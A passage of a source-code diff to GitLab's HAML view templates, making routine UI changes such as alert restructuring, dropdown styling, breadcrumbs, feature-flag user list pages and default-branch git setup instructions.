@@ -2,11 +2,11 @@
- if !project.empty_repo? && can?(current_user, :download_code, project)
- archive_prefix = "#{project.path}-#{ref.tr('/', '-')}"
- .project-action-button.dropdown.inline>
- %button.gl-button.btn.btn-default.has-tooltip{ title: s_('DownloadSource|Download'), 'data-toggle' => 'dropdown', 'aria-label' => s_('DownloadSource|Download'), 'data-display' => 'static', data: { qa_selector: 'download_source_code_button' } }
- = sprite_icon('download', css_class: 'gl-icon')
+ .project-action-button.dropdown.gl-new-dropdown.inline>
+ %button.gl-button.btn.btn-default.dropdown-toggle.gl-dropdown-toggle.dropdown-icon-only.has-tooltip{ title: s_('DownloadSource|Download'), 'data-toggle' => 'dropdown', 'aria-label' => s_('DownloadSource|Download'), 'data-display' => 'static', data: { qa_selector: 'download_source_code_button' } }
+ = sprite_icon('download', css_class: 'gl-icon dropdown-icon')
%span.sr-only= _('Select Archive Format')
- = sprite_icon('chevron-down', css_class: 'gl-icon')
+ = sprite_icon('chevron-down', css_class: 'gl-icon dropdown-chevron')
.dropdown-menu.dropdown-menu-right{ role: 'menu' }
%section
%h5.m-0.dropdown-bold-header= _('Download source code')
diff --git a/app/views/projects/ci/builds/_build.html.haml b/app/views/projects/ci/builds/_build.html.haml
index 0cc595de7be..824e876500b 100644
--- a/app/views/projects/ci/builds/_build.html.haml
+++ b/app/views/projects/ci/builds/_build.html.haml
@@ -97,7 +97,7 @@
#{job.coverage}%
%td
- .gl-display-flex
+ .gl-text-right
.btn-group
- if can?(current_user, :read_job_artifacts, job) && job.artifacts?
= link_to download_project_job_artifacts_path(job.project, job), rel: 'nofollow', download: '', title: _('Download artifacts'), class: 'gl-button btn btn-default btn-icon' do
diff --git a/app/views/projects/commits/_commits.html.haml b/app/views/projects/commits/_commits.html.haml
index e6c9a7166a9..9e0dd93c683 100644
--- a/app/views/projects/commits/_commits.html.haml
+++ b/app/views/projects/commits/_commits.html.haml
@@ -35,8 +35,10 @@
- if hidden > 0
%li.gl-alert.gl-alert-warning
- = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- = n_('%s additional commit has been omitted to prevent performance issues.', '%s additional commits have been omitted to prevent performance issues.', hidden) % number_with_delimiter(hidden)
+ .gl-alert-container
+ = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ = n_('%s additional commit has been omitted to prevent performance issues.', '%s additional commits have been omitted to prevent performance issues.', hidden) % number_with_delimiter(hidden)
- if project.context_commits_enabled? && can_update_merge_request && context_commits&.empty?
%button.gl-button.btn.btn-default.mt-3.add-review-item-modal-trigger{ type: "button", data: { context_commits_empty: 'true' } }
diff --git a/app/views/projects/confluences/show.html.haml b/app/views/projects/confluences/show.html.haml
index 1eeafac5f1e..cf4e39f9659 100644
--- a/app/views/projects/confluences/show.html.haml
+++ b/app/views/projects/confluences/show.html.haml
@@ -6,9 +6,9 @@
= s_('WikiEmpty|Confluence is enabled')
%p
- wiki_confluence_epic_link_url = 'https://gitlab.com/groups/gitlab-org/-/epics/3629'
- - wiki_confluence_epic_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: wiki_confluence_epic_link_url }
- = s_("WikiEmpty|You've enabled the Confluence Workspace integration. Your wiki will be viewable directly within Confluence. We are hard at work integrating Confluence more seamlessly into GitLab. If you'd like to stay up to date, follow our %{wiki_confluence_epic_link_start}Confluence epic%{wiki_confluence_epic_link_end}.").html_safe % { wiki_confluence_epic_link_start: wiki_confluence_epic_link_start, wiki_confluence_epic_link_end: '</a>'.html_safe }
- = link_to @project.confluence_service.confluence_url, target: '_blank', rel: 'noopener noreferrer', class: 'gl-button btn btn-success external-url', title: s_('WikiEmpty|Go to Confluence') do
+ - wiki_confluence_epic_link_start = format('<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe, url: wiki_confluence_epic_link_url)
+ = format(s_("WikiEmpty|You've enabled the Confluence Workspace integration. Your wiki will be viewable directly within Confluence. We are hard at work integrating Confluence more seamlessly into GitLab. If you'd like to stay up to date, follow our %{wiki_confluence_epic_link_start}Confluence epic%{wiki_confluence_epic_link_end}.").html_safe, wiki_confluence_epic_link_start: wiki_confluence_epic_link_start, wiki_confluence_epic_link_end: '</a>'.html_safe)
+ = link_to @project.confluence_integration.confluence_url, target: '_blank', rel: 'noopener noreferrer', class: 'gl-button btn btn-success external-url', title: s_('WikiEmpty|Go to Confluence') do
= sprite_icon('external-link')
= s_('WikiEmpty|Go to Confluence')
diff --git a/app/views/projects/cycle_analytics/show.html.haml b/app/views/projects/cycle_analytics/show.html.haml
index 71730da0595..c1f6cfc40c3 100644
--- a/app/views/projects/cycle_analytics/show.html.haml
+++ b/app/views/projects/cycle_analytics/show.html.haml
@@ -1,6 +1,6 @@
- page_title _("Value Stream Analytics")
- add_page_specific_style 'page_bundles/cycle_analytics'
- svgs = { empty_state_svg_path: image_path("illustrations/analytics/cycle-analytics-empty-chart.svg"), no_data_svg_path: image_path("illustrations/analytics/cycle-analytics-empty-chart.svg"), no_access_svg_path: image_path("illustrations/analytics/no-access.svg") }
-- initial_data = { request_path: project_cycle_analytics_path(@project) }.merge!(svgs)
+- initial_data = { request_path: project_cycle_analytics_path(@project), full_path: @project.full_path }.merge!(svgs)
#js-cycle-analytics{ data: initial_data }
diff --git a/app/views/projects/empty.html.haml b/app/views/projects/empty.html.haml
index b76f6b27aa8..027b81d6c68 100644
--- a/app/views/projects/empty.html.haml
+++ b/app/views/projects/empty.html.haml
@@ -7,7 +7,7 @@
= render "home_panel"
= render "archived_notice", project: @project
-= render "invite_members" if experiment_enabled?(:invite_members_empty_project_version_a) && can_import_members?
+= render "invite_members" if can_import_members?
%h4.gl-mt-0.gl-mb-3
= _('The repository for this project is empty')
@@ -44,6 +44,7 @@
:preserve
git clone #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
cd #{h @project.path}
+ git switch -c #{default_branch_name}
touch README.md
git add README.md
git commit -m "add README"
@@ -56,7 +57,7 @@
%pre.bg-light
:preserve
cd existing_folder
- git init
+ git init --initial-branch=#{default_branch_name}
git remote add origin #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
git add .
git commit -m "Initial commit"
diff --git a/app/views/projects/feature_flags/index.html.haml b/app/views/projects/feature_flags/index.html.haml
index 7d48cba74d0..53fe30422ca 100644
--- a/app/views/projects/feature_flags/index.html.haml
+++ b/app/views/projects/feature_flags/index.html.haml
@@ -14,4 +14,4 @@
"can-user-admin-feature-flag" => can?(current_user, :admin_feature_flag, @project),
"new-feature-flag-path" => can?(current_user, :create_feature_flag, @project) ? new_project_feature_flag_path(@project): nil,
"rotate-instance-id-path" => can?(current_user, :admin_feature_flags_client, @project) ? reset_token_project_feature_flags_client_path(@project, format: :json) : nil,
- "new-user-list-path" => can?(current_user, :admin_feature_flags_user_lists, @project) ? new_project_feature_flags_user_list_path(@project) : nil } }
+ "user-list-path" => can?(current_user, :admin_feature_flags_user_lists, @project) ? project_feature_flags_user_lists_path(@project) : nil } }
diff --git a/app/views/projects/feature_flags_user_lists/edit.html.haml b/app/views/projects/feature_flags_user_lists/edit.html.haml
index ea47cc06c0e..1ff488ff0f0 100644
--- a/app/views/projects/feature_flags_user_lists/edit.html.haml
+++ b/app/views/projects/feature_flags_user_lists/edit.html.haml
@@ -1,4 +1,5 @@
- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- add_to_breadcrumbs s_('FeatureFlags|User Lists'), project_feature_flags_user_lists_path(@project)
- breadcrumb_title s_('FeatureFlags|Edit User List')
- page_title s_('FeatureFlags|Edit User List')
diff --git a/app/views/projects/feature_flags_user_lists/index.html.haml b/app/views/projects/feature_flags_user_lists/index.html.haml
new file mode 100644
index 00000000000..f0e3c36992a
--- /dev/null
+++ b/app/views/projects/feature_flags_user_lists/index.html.haml
@@ -0,0 +1,8 @@
+- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- breadcrumb_title s_('FeatureFlags|User Lists')
+- page_title s_('FeatureFlags|Feature Flag User Lists')
+
+#js-user-lists{ data: { project_id: @project.id,
+ feature_flags_help_page_path: help_page_path("operations/feature_flags"),
+ new_user_list_path: can?(current_user, :create_feature_flag, @project) ? new_project_feature_flags_user_list_path(@project): nil,
+ error_state_svg_path: image_path('illustrations/feature_flag.svg') } }
diff --git a/app/views/projects/feature_flags_user_lists/new.html.haml b/app/views/projects/feature_flags_user_lists/new.html.haml
index 3d25453cb66..f2e1ea38d9c 100644
--- a/app/views/projects/feature_flags_user_lists/new.html.haml
+++ b/app/views/projects/feature_flags_user_lists/new.html.haml
@@ -1,5 +1,6 @@
- @breadcrumb_link = new_project_feature_flags_user_list_path(@project)
- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- add_to_breadcrumbs s_('FeatureFlags|User Lists'), project_feature_flags_user_lists_path(@project)
- breadcrumb_title s_('FeatureFlags|New User List')
- page_title s_('FeatureFlags|New User List')
diff --git a/app/views/projects/feature_flags_user_lists/show.html.haml b/app/views/projects/feature_flags_user_lists/show.html.haml
index add256f0190..2c88f3da66b 100644
--- a/app/views/projects/feature_flags_user_lists/show.html.haml
+++ b/app/views/projects/feature_flags_user_lists/show.html.haml
@@ -1,4 +1,5 @@
- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- add_to_breadcrumbs s_('FeatureFlags|User Lists'), project_feature_flags_user_lists_path(@project)
- breadcrumb_title s_('FeatureFlags|List details')
- page_title s_('FeatureFlags|Feature Flag User List Details')
diff --git a/app/views/projects/forks/new.html.haml b/app/views/projects/forks/new.html.haml
index 267fc3ae986..0716eda79a8 100644
--- a/app/views/projects/forks/new.html.haml
+++ b/app/views/projects/forks/new.html.haml
@@ -10,7 +10,8 @@
project_name: @project.name,
project_path: @project.path,
project_description: @project.description,
- project_visibility: @project.visibility } }
+ project_visibility: @project.visibility,
+ restricted_visibility_levels: Gitlab::CurrentSettings.restricted_visibility_levels.to_json } }
- else
.row.gl-mt-3
.col-lg-3
diff --git a/app/views/projects/issues/_nav_btns.html.haml b/app/views/projects/issues/_nav_btns.html.haml
index 06522d9d434..1289f7aa0c4 100644
--- a/app/views/projects/issues/_nav_btns.html.haml
+++ b/app/views/projects/issues/_nav_btns.html.haml
@@ -15,8 +15,7 @@
= button_tag _("Edit issues"), class: "gl-button btn btn-default gl-mr-3 js-bulk-update-toggle"
- if show_new_issue_link?(@project)
= link_to _("New issue"), new_project_issue_path(@project,
- issue: { assignee_id: finder.assignee.try(:id),
- milestone_id: finder.milestones.first.try(:id) }),
+ issue: { milestone_id: finder.milestones.first.try(:id) }),
class: "gl-button btn btn-confirm",
id: "new_issue_link"
diff --git a/app/views/projects/jobs/_table.html.haml b/app/views/projects/jobs/_table.html.haml
index 819837a9eff..2d8b7315a29 100644
--- a/app/views/projects/jobs/_table.html.haml
+++ b/app/views/projects/jobs/_table.html.haml
@@ -12,7 +12,7 @@
= s_('Jobs|Use jobs to automate your tasks')
%p
= s_('Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project.')
- = link_to s_('Jobs|Create CI/CD configuration file'), project_ci_pipeline_editor_path(project), class: 'btn gl-button btn-info js-empty-state-button'
+ = link_to s_('Jobs|Create CI/CD configuration file'), project_ci_pipeline_editor_path(project), class: 'btn gl-button btn-confirm js-empty-state-button'
- else
.nothing-here-block= s_('Jobs|No jobs to show')
- else
diff --git a/app/views/projects/merge_requests/_awards_block.html.haml b/app/views/projects/merge_requests/_awards_block.html.haml
index 09466ed2244..80a58053ff7 100644
--- a/app/views/projects/merge_requests/_awards_block.html.haml
+++ b/app/views/projects/merge_requests/_awards_block.html.haml
@@ -1,5 +1,5 @@
-.content-block.content-block-small.emoji-list-container.js-noteable-awards
+.content-block.emoji-block.emoji-list-container.js-noteable-awards
= render 'award_emoji/awards_block', awardable: @merge_request, inline: true, api_awards_path: award_emoji_merge_request_api_path(@merge_request) do
- .ml-auto.mt-auto.mb-auto
+ .ml-auto.gl-my-2
#js-vue-sort-issue-discussions
= render "projects/merge_requests/discussion_filter"
diff --git a/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml b/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
index 5fa8f908122..f6afac493d5 100644
--- a/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
+++ b/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
@@ -1,10 +1,9 @@
- display_issuable_type = issuable_display_type(@merge_request)
-- button_action_class = @merge_request.closed? ? 'btn-default' : 'btn-warning btn-warning-secondary'
- button_class = "btn gl-button #{!@merge_request.closed? && 'js-draft-toggle-button'}"
- toggle_class = "btn gl-button dropdown-toggle"
.float-left.btn-group.gl-ml-3.gl-display-none.gl-md-display-flex
- = link_to @merge_request.closed? ? reopen_issuable_path(@merge_request) : toggle_draft_merge_request_path(@merge_request), method: :put, class: "#{button_class} #{button_action_class}" do
+ = link_to @merge_request.closed? ? reopen_issuable_path(@merge_request) : toggle_draft_merge_request_path(@merge_request), method: :put, class: "#{button_class} btn-confirm-secondary" do
- if @merge_request.closed?
= _('Reopen')
= display_issuable_type
@@ -12,9 +11,9 @@
= @merge_request.work_in_progress? ? _('Mark as ready') : _('Mark as draft')
- if !@merge_request.closed? || !issuable_author_is_current_user(@merge_request)
- = button_tag type: 'button', class: "#{toggle_class} #{button_action_class}", data: { 'toggle' => 'dropdown' } do
+ = button_tag type: 'button', class: "#{toggle_class} btn-confirm-secondary btn-icon", data: { 'toggle' => 'dropdown' } do
%span.gl-sr-only= _('Toggle dropdown')
- = sprite_icon "angle-down", size: 12
+ = sprite_icon "chevron-down", size: 12, css_class: "gl-button-icon"
%ul.dropdown-menu.dropdown-menu-right
- if @merge_request.open?
diff --git a/app/views/projects/merge_requests/_mr_title.html.haml b/app/views/projects/merge_requests/_mr_title.html.haml
index e42032fef66..5a983fb5565 100644
--- a/app/views/projects/merge_requests/_mr_title.html.haml
+++ b/app/views/projects/merge_requests/_mr_title.html.haml
@@ -7,9 +7,11 @@
= cache_if(Feature.enabled?(:cached_mr_title, @project, default_enabled: :yaml), cache_key, expires_in: 1.day) do
- if @merge_request.closed_or_merged_without_fork?
.gl-alert.gl-alert-danger.gl-mb-5
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- The source project of this merge request has been removed.
+ .gl-alert-container
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ The source project of this merge request has been removed.
.detail-page-header.border-bottom-0.pt-0.pb-0
.detail-page-header-body
diff --git a/app/views/projects/merge_requests/_widget.html.haml b/app/views/projects/merge_requests/_widget.html.haml
index 606442d71a9..5f2cb1cfcc4 100644
--- a/app/views/projects/merge_requests/_widget.html.haml
+++ b/app/views/projects/merge_requests/_widget.html.haml
@@ -1,21 +1,22 @@
-- artifacts_endpoint_placeholder = ':pipeline_artifacts_id'
+= cache_if(Feature.enabled?(:cached_mr_widget, @merge_request.project), [@merge_request.project, @merge_request, current_user], expires_in: 10.minutes) do
+ - artifacts_endpoint_placeholder = ':pipeline_artifacts_id'
-= javascript_tag do
- :plain
- window.gl = window.gl || {};
- window.gl.mrWidgetData = #{serialize_issuable(@merge_request, serializer: 'widget', issues_links: true)}
+ = javascript_tag do
+ :plain
+ window.gl = window.gl || {};
+ window.gl.mrWidgetData = #{serialize_issuable(@merge_request, serializer: 'widget', issues_links: true)}
- window.gl.mrWidgetData.artifacts_endpoint = '#{downloadable_artifacts_project_pipeline_path(@project, artifacts_endpoint_placeholder, format: :json)}';
- window.gl.mrWidgetData.artifacts_endpoint_placeholder = '#{artifacts_endpoint_placeholder}';
- window.gl.mrWidgetData.squash_before_merge_help_path = '#{help_page_path("user/project/merge_requests/squash_and_merge")}';
- window.gl.mrWidgetData.ci_troubleshooting_docs_path = '#{help_page_path('ci/troubleshooting.md')}';
- window.gl.mrWidgetData.mr_troubleshooting_docs_path = '#{help_page_path('user/project/merge_requests/reviews/index.md', anchor: 'troubleshooting')}';
- window.gl.mrWidgetData.pipeline_must_succeed_docs_path = '#{help_page_path('user/project/merge_requests/merge_when_pipeline_succeeds.md', anchor: 'only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds')}';
- window.gl.mrWidgetData.security_approvals_help_page_path = '#{help_page_path('user/application_security/index.md', anchor: 'security-approvals-in-merge-requests')}';
- window.gl.mrWidgetData.license_compliance_docs_path = '#{help_page_path('user/compliance/license_compliance/index.md', anchor: 'policies')}';
- window.gl.mrWidgetData.eligible_approvers_docs_path = '#{help_page_path('user/project/merge_requests/merge_request_approvals', anchor: 'eligible-approvers')}';
- window.gl.mrWidgetData.approvals_help_path = '#{help_page_path("user/project/merge_requests/merge_request_approvals")}';
- window.gl.mrWidgetData.pipelines_empty_svg_path = '#{image_path('illustrations/pipelines_empty.svg')}';
- window.gl.mrWidgetData.codequality_help_path = '#{help_page_path("user/project/merge_requests/code_quality", anchor: "code-quality-reports")}';
+ window.gl.mrWidgetData.artifacts_endpoint = '#{downloadable_artifacts_project_pipeline_path(@project, artifacts_endpoint_placeholder, format: :json)}';
+ window.gl.mrWidgetData.artifacts_endpoint_placeholder = '#{artifacts_endpoint_placeholder}';
+ window.gl.mrWidgetData.squash_before_merge_help_path = '#{help_page_path("user/project/merge_requests/squash_and_merge")}';
+ window.gl.mrWidgetData.ci_troubleshooting_docs_path = '#{help_page_path('ci/troubleshooting.md')}';
+ window.gl.mrWidgetData.mr_troubleshooting_docs_path = '#{help_page_path('user/project/merge_requests/reviews/index.md', anchor: 'troubleshooting')}';
+ window.gl.mrWidgetData.pipeline_must_succeed_docs_path = '#{help_page_path('user/project/merge_requests/merge_when_pipeline_succeeds.md', anchor: 'only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds')}';
+ window.gl.mrWidgetData.security_approvals_help_page_path = '#{help_page_path('user/application_security/index.md', anchor: 'security-approvals-in-merge-requests')}';
+ window.gl.mrWidgetData.license_compliance_docs_path = '#{help_page_path('user/compliance/license_compliance/index.md', anchor: 'policies')}';
+ window.gl.mrWidgetData.eligible_approvers_docs_path = '#{help_page_path('user/project/merge_requests/merge_request_approvals', anchor: 'eligible-approvers')}';
+ window.gl.mrWidgetData.approvals_help_path = '#{help_page_path("user/project/merge_requests/merge_request_approvals")}';
+ window.gl.mrWidgetData.pipelines_empty_svg_path = '#{image_path('illustrations/pipelines_empty.svg')}';
+ window.gl.mrWidgetData.codequality_help_path = '#{help_page_path("user/project/merge_requests/code_quality", anchor: "code-quality-reports")}';
-#js-vue-mr-widget.mr-widget
+ #js-vue-mr-widget.mr-widget
diff --git a/app/views/projects/merge_requests/edit.html.haml b/app/views/projects/merge_requests/edit.html.haml
index 019015a4d86..5fcb5d3f876 100644
--- a/app/views/projects/merge_requests/edit.html.haml
+++ b/app/views/projects/merge_requests/edit.html.haml
@@ -1,3 +1,5 @@
+- add_to_breadcrumbs _("Merge requests"), project_merge_requests_path(@project)
+- breadcrumb_title @merge_request.to_reference
- page_title _("Edit"), "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge requests")
%h3.page-title
diff --git a/app/views/projects/merge_requests/invalid.html.haml b/app/views/projects/merge_requests/invalid.html.haml
index f0bf5af7732..fd1b2328a98 100644
--- a/app/views/projects/merge_requests/invalid.html.haml
+++ b/app/views/projects/merge_requests/invalid.html.haml
@@ -8,21 +8,23 @@
= render "projects/merge_requests/mr_box"
.gl-alert.gl-alert-danger
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %p
- We cannot render this merge request properly because
- - if @merge_request.for_fork? && !@merge_request.source_project
- fork project was removed
- - elsif !@merge_request.source_branch_exists?
- %span{ class: badge_inverse_css_classes }= @merge_request.source_branch
- does not exist in
- %span{ class: badge_info_css_classes }= @merge_request.source_project_path
- - elsif !@merge_request.target_branch_exists?
- %span{ class: badge_inverse_css_classes }= @merge_request.target_branch
- does not exist in
- %span{ class: badge_info_css_classes }= @merge_request.target_project_path
- - else
- of internal error
+ .gl-alert-container
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content{ role: 'alert' }
+ %p
+ We cannot render this merge request properly because
+ - if @merge_request.for_fork? && !@merge_request.source_project
+ fork project was removed
+ - elsif !@merge_request.source_branch_exists?
+ %span{ class: badge_inverse_css_classes }= @merge_request.source_branch
+ does not exist in
+ %span{ class: badge_info_css_classes }= @merge_request.source_project_path
+ - elsif !@merge_request.target_branch_exists?
+ %span{ class: badge_inverse_css_classes }= @merge_request.target_branch
+ does not exist in
+ %span{ class: badge_info_css_classes }= @merge_request.target_project_path
+ - else
+ of internal error
- %strong
- Please close merge request or change branches with existing one
+ %strong
+ Please close merge request or change branches with existing one
diff --git a/app/views/projects/merge_requests/tabs/_tab.html.haml b/app/views/projects/merge_requests/tabs/_tab.html.haml
index dcd8db90509..9d942da8098 100644
--- a/app/views/projects/merge_requests/tabs/_tab.html.haml
+++ b/app/views/projects/merge_requests/tabs/_tab.html.haml
@@ -2,6 +2,8 @@
- tab_class = local_assigns.fetch(:class, nil)
- qa_selector = local_assigns.fetch(:qa_selector, nil)
- id = local_assigns.fetch(:id, nil)
+- attrs = { class: [tab_class, ("active" if params[:tab] == tab_name)], data: { qa_selector: qa_selector } }
+- attrs[:id] = id if id.present?
-%li{ class: [tab_class, ("active" if params[:tab] == tab_name)], id: id, data: { qa_selector: qa_selector } }
+%li{ attrs }
= yield
diff --git a/app/views/projects/milestones/show.html.haml b/app/views/projects/milestones/show.html.haml
index 5a6c2c5faaf..99fe64723d9 100644
--- a/app/views/projects/milestones/show.html.haml
+++ b/app/views/projects/milestones/show.html.haml
@@ -13,14 +13,18 @@
- if can?(current_user, :read_issue, @project) && @milestone.total_issues_count == 0
.gl-alert.gl-alert-info.gl-mt-3.gl-mb-5{ data: { testid: 'no-issues-alert' } }
- = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- %span= _('Assign some issues to this milestone.')
+ .gl-alert-container
+ = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ %span= _('Assign some issues to this milestone.')
- elsif @milestone.complete? && @milestone.active?
.gl-alert.gl-alert-success.gl-mt-3.gl-mb-5{ data: { testid: 'all-issues-closed-alert' } }
- = sprite_icon('check-circle', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- %span= _('All issues for this milestone are closed. You may close this milestone now.')
+ .gl-alert-container
+ = sprite_icon('check-circle', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ %span= _('All issues for this milestone are closed. You may close this milestone now.')
= render 'shared/milestones/tabs', milestone: @milestone
= render 'shared/milestones/sidebar', milestone: @milestone, project: @project, affix_offset: 153
diff --git a/app/views/projects/packages/infrastructure_registry/show.html.haml b/app/views/projects/packages/infrastructure_registry/show.html.haml
new file mode 100644
index 00000000000..e5701343b83
--- /dev/null
+++ b/app/views/projects/packages/infrastructure_registry/show.html.haml
@@ -0,0 +1,15 @@
+- add_to_breadcrumbs _("Infrastructure Registry"), project_infrastructure_registry_index_path(@project)
+- add_to_breadcrumbs @package.name, project_infrastructure_registry_index_path(@project)
+- breadcrumb_title @package.version
+- page_title _("Infrastructure Registry")
+- @content_class = "limit-container-width" unless fluid_layout
+
+.row
+ .col-12
+ #js-vue-packages-detail{ data: { package: package_from_presenter(@package),
+ can_delete: can?(current_user, :destroy_package, @project).to_s,
+ svg_path: image_path('illustrations/no-packages.svg'),
+ project_name: @project.name,
+ project_path: expose_url(@project.full_path),
+ terraform_help_path: help_page_path('user/infrastructure/index'),
+ project_list_url: project_infrastructure_registry_index_path(@project)} }
diff --git a/app/views/projects/pages/_access.html.haml b/app/views/projects/pages/_access.html.haml
index 5b23234791b..67a2eeb7e7b 100644
--- a/app/views/projects/pages/_access.html.haml
+++ b/app/views/projects/pages/_access.html.haml
@@ -19,5 +19,3 @@
- link_start = '<a href="%{url}" target="_blank" class="gl-alert-link" rel="noopener noreferrer">'.html_safe % { url: help_page }
- link_end = '</a>'.html_safe
= html_escape_once(s_('GitLabPages|Access Control is enabled for this Pages website; only authorized users will be able to access it. To make your website publicly available, navigate to your project\'s %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} and select %{strong_start}Everyone%{strong_end} in pages section. Read the %{link_start}documentation%{link_end} for more information.')).html_safe % { link_start: link_start, link_end: link_end, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- .card-footer.gl-alert-info
- = s_('GitLabPages|It may take up to 30 minutes before the site is available after the first deployment.')
diff --git a/app/views/projects/pipeline_schedules/_form.html.haml b/app/views/projects/pipeline_schedules/_form.html.haml
index 628c4780cf2..66aee7dedf3 100644
--- a/app/views/projects/pipeline_schedules/_form.html.haml
+++ b/app/views/projects/pipeline_schedules/_form.html.haml
@@ -7,7 +7,7 @@
.form-group.row
.col-md-9
= f.label :cron, _('Interval Pattern'), class: 'label-bold'
- #interval-pattern-input{ data: { initial_interval: @schedule.cron } }
+ #interval-pattern-input{ data: { initial_interval: @schedule.cron, daily_limit: @schedule.daily_limit } }
.form-group.row
.col-md-9
= f.label :cron_timezone, _('Cron Timezone'), class: 'label-bold'
diff --git a/app/views/projects/pipelines/index.html.haml b/app/views/projects/pipelines/index.html.haml
index 42bb8117766..9669b2e72dc 100644
--- a/app/views/projects/pipelines/index.html.haml
+++ b/app/views/projects/pipelines/index.html.haml
@@ -5,7 +5,10 @@
= render_if_exists "shared/shared_runners_minutes_limit_flash_message"
-#pipelines-list-vue{ data: { endpoint: project_pipelines_path(@project, format: :json, code_quality_walkthrough: params[:code_quality_walkthrough]),
+- list_url = project_pipelines_path(@project, format: :json, code_quality_walkthrough: params[:code_quality_walkthrough])
+- add_page_startup_api_call list_url
+
+#pipelines-list-vue{ data: { endpoint: list_url,
project_id: @project.id,
params: params.to_json,
"artifacts-endpoint" => downloadable_artifacts_project_pipeline_path(@project, artifacts_endpoint_placeholder, format: :json),
@@ -21,4 +24,5 @@
"has-gitlab-ci" => has_gitlab_ci?(@project).to_s,
"add-ci-yml-path" => can?(current_user, :create_pipeline, @project) && @project.present(current_user: current_user).add_ci_yml_path,
"suggested-ci-templates" => experiment_suggested_ci_templates.to_json,
- "code-quality-page-path" => @project.present(current_user: current_user).add_code_quality_ci_yml_path } }
+ "code-quality-page-path" => @project.present(current_user: current_user).add_code_quality_ci_yml_path,
+ "ci-runner-settings-path" => project_settings_ci_cd_path(@project, ci_runner_templates: true, anchor: 'js-runners-settings') } }
diff --git a/app/views/projects/pipelines/show.html.haml b/app/views/projects/pipelines/show.html.haml
index 93b0a525191..1c134d914e9 100644
--- a/app/views/projects/pipelines/show.html.haml
+++ b/app/views/projects/pipelines/show.html.haml
@@ -12,7 +12,7 @@
.js-pipeline-container{ data: { controller_action: "#{controller.action_name}" } }
#js-pipeline-header-vue.pipeline-header-container{ data: { full_path: @project.full_path, pipeline_iid: @pipeline.iid, pipeline_id: @pipeline.id, pipelines_path: project_pipelines_path(@project) } }
- - if @pipeline.failed? && @pipeline.user_not_verified?
+ - if Gitlab.com? && show_cc_validation_alert?(@pipeline)
#js-cc-validation-required-alert
- if @pipeline.commit.present?
@@ -28,7 +28,6 @@
- lint_link_start = '<a href="%{url}">'.html_safe % { url: lint_link_url }
= s_('You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}').html_safe % { gitlab_ci_yml: '.gitlab-ci.yml', lint_link_start: lint_link_start, lint_link_end: '</a>'.html_safe }
- #js-pipeline-notification{ data: { dag_doc_path: help_page_path('ci/yaml/README.md', anchor: 'needs') } }
= render "projects/pipelines/with_tabs", pipeline: @pipeline, stages: @stages, pipeline_has_errors: pipeline_has_errors
.js-pipeline-details-vue{ data: { endpoint: project_pipeline_path(@project, @pipeline, format: :json), metrics_path: namespace_project_ci_prometheus_metrics_histograms_path(namespace_id: @project.namespace, project_id: @project, format: :json), pipeline_project_path: @project.full_path, pipeline_iid: @pipeline.iid, graphql_resource_etag: graphql_etag_pipeline_path(@pipeline) } }
diff --git a/app/views/projects/project_members/index.html.haml b/app/views/projects/project_members/index.html.haml
index 0fa9fb7079b..d1b6db95392 100644
--- a/app/views/projects/project_members/index.html.haml
+++ b/app/views/projects/project_members/index.html.haml
@@ -25,8 +25,11 @@
title: _("Import members from another project")
- if @project.allowed_to_share_with_group?
.js-invite-group-trigger{ data: { classes: 'gl-mt-3 gl-sm-w-auto gl-w-full gl-sm-ml-3', display_text: _('Invite a group') } }
- - if !membership_locked?
- .js-invite-members-trigger{ data: { variant: 'success', classes: 'gl-mt-3 gl-sm-w-auto gl-w-full gl-sm-ml-3', display_text: _('Invite members') } }
+ - if can_manage_project_members?(@project) && !membership_locked?
+ .js-invite-members-trigger{ data: { variant: 'success',
+ classes: 'gl-mt-3 gl-sm-w-auto gl-w-full gl-sm-ml-3',
+ trigger_source: 'project-members-page',
+ display_text: _('Invite members') } }
= render 'projects/invite_members_modal', project: @project
- else
@@ -51,52 +54,15 @@
.tab-pane.active{ id: 'invite-member-pane', role: 'tabpanel' }
